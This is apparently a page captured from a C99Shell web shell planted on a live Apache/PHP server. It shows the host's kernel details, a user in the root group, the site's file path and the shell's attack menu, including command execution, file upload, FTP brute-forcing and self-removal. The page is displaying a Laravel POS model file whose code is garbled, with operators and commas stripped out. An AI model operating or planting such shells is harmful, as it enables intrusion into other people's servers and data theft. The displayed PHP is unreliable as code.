!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Models/   drwxr-xr-x
Free 28.59 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Pos.php (6.24 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Models;

use 
Carbon\Carbon;
use 
Illuminate\Database\Eloquent\Factories\HasFactory;
use 
Illuminate\Database\Eloquent\Model;
use 
Illuminate\Support\Facades\Auth;


class 
Pos extends Model
{
    protected 
$fillable = [
        
'pos_id',
        
'customer_id',
        
'warehouse_id',
        
'pos_date',
        
'category_id',
        
'status',
        
'shipping_display',
        
'created_by',
    ];

    public function 
customer()
    {

        return 
$this->hasOne('App\Models\Customer''id''customer_id');
    }
    public function 
warehouse()
    {
        return 
$this->hasOne('App\Models\warehouse''id''warehouse_id');
    }

    public function 
posPayment()
    {
        return 
$this->hasOne('App\Models\PosPayment','pos_id','id');
    }

    public function 
items()
    {
        return 
$this->hasMany('App\Models\PosProduct''pos_id''id');
    }
    public function 
taxes()
    {
        return 
$this->hasOne('App\Models\Tax''id''tax');
    }

    public function 
getSubTotal()
    {
        
$subTotal 0;
        foreach(
$this->items as $product)
        {

            
$subTotal += ($product->price $product->quantity);

        }

        return 
$subTotal;
    }

    public function 
getTotalDiscount()
    {

        
$totalDiscount 0;
        foreach(
$this->items as $product)
        {

            
$totalDiscount += $product->discount;
        }

        return 
$totalDiscount;
    }

    
// public function getTotalTax()
    // {

    //     $totalTax = 0;
    //     foreach($this->items as $product)
    //     {

    //         $taxes = Utility::totalTaxRate($product->tax);

    //         $totalTax += ($taxes / 100) * ($product->price * $product->quantity) ;

    //     }

    //     return $totalTax;
    // }


    
public function getTotalTax()
    {
        
$taxData Utility::getTaxData();
        
$totalTax 0;
        foreach(
$this->items as $product)
        {
            
// $taxes = Utility::totalTaxRate($product->tax);

            
$taxArr explode(','$product->tax);
            
$taxes 0;
            foreach (
$taxArr as $tax) {
                
// $tax = TaxRate::find($tax);
                
$taxes += !empty($taxData[$tax]['rate']) ? $taxData[$tax]['rate'] : 0;
            }

            
$totalTax += ($taxes 100) * ($product->price $product->quantity);
        }

        return 
$totalTax;
    }
    
//pos dashboard

    
public function getTotal()
    {

        return (
$this->getSubTotal() -$this->getTotalDiscount()) + $this->getTotalTax();
    }

    public static function 
getPosProductsData($month '')
    {

        if (
$month == 'true') {
            
$posProducts \DB::table('pos_products')
                ->
select('pos_products.id as pos',
                    
\DB::raw('SUM(pos_products.quantity) as quantity'),
                    
\DB::raw('SUM(discount) as total_discount'),
                    
\DB::raw('tax as tax'),
                    
\DB::raw('SUM(price)  as price'))
                ->
leftJoin('pos''pos_products.pos_id''pos.id')
                ->
where(\DB::raw('MONTH(pos.created_at)'), '=', [date('m')])
            ->
where('pos.created_by'\Auth::user()->creatorId())
                ->
groupBy('pos')
                ->
get()
                ->
keyBy('pos');
        } else {
            
$posProducts \DB::table('pos_products')
                ->
select('pos_products.id as pos',
                    
\DB::raw('SUM(quantity) as quantity'),
                    
\DB::raw('SUM(discount) as total_discount'),
                    
\DB::raw('tax as tax'),
                    
\DB::raw('SUM(price)  as price'))
                ->
leftJoin('pos''pos_products.pos_id''pos.id')
            ->
where('pos.created_by'\Auth::user()->creatorId())
                ->
groupBy('pos')
                ->
get()
                ->
keyBy('pos');
        }
        
$total 0;
        

        foreach(
$posProducts as $pos)
        {
            
$getTaxData Utility::getTaxData();
            
$totalTaxPrice 0;
            if (!empty(
$pos->tax)) {
                foreach (
explode(','$pos->tax) as $tax) {
                    
$taxPrice \Utility::taxRate($getTaxData[$tax]['rate'], $pos->price$pos->quantity $pos->total_discount);
                    
$totalTaxPrice += $taxPrice;
                }
            }

            
$total += ($pos->price  $pos->quantity) + $totalTaxPrice $pos->total_discount;
            
        }
        return 
$total;

    }
    
    public static function 
totalPosAmount($month false)
    {
        
$posAmount self::getPosProductsData($month);

        return 
Auth::user()->priceFormat($posAmount);
    }
    
// public static function totalPosAmount($month = false)
    // {

    //     $poses = new Pos();
    //     $poses = $poses->where('created_by', '=', Auth::user()->creatorId());
    //     if($month)
    //     {
    //         $poses = $poses->whereRaw('MONTH(created_at) = ?', [date('m')]);
    //     }

    //     $posAmount = 0;

    //     foreach($poses->get() as $key => $pos)
    //     {
    //         $posAmount += $pos->getTotal();
    //     }

    //     return Auth::user()->priceFormat($posAmount);
    // }



    
public static function getPosReportChart()
    {
        
$poses Pos::whereDate('created_at''>'Carbon::now()->subDays(10))
            ->
where('created_by''='Auth::user()->creatorId())->orderBy('created_at')
            ->
get()->groupBy(
            function (
$val){
                return 
Carbon::parse($val->created_at)->format('dm');
            }
        );
        
$total = [];
        if(!empty(
$poses) && count($poses) > 0)
        {
            foreach(
$poses as $day => $onesale)
            {
                
$totals 0;
                foreach(
$onesale as $pos)
                {
                    
$totals += $pos->getTotal();
                }
                
$total[$day] = $totals;
            }
        }
        
$m date("m");
        
$d date("d");
        
$y date("Y");
        for(
$i 0$i <= 9$i++)
        {
            
$date                  date('Y-m-d'mktime(000$m, ($d $i), $y));
            
$posesArray['label'][] = $date;
            
$date                  date('dm'strtotime($date));
            
$posesArray['value'][] = array_key_exists($date$total) ? $total[$date] : 0;;
        }

        return 
$posesArray;
    }




}




:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--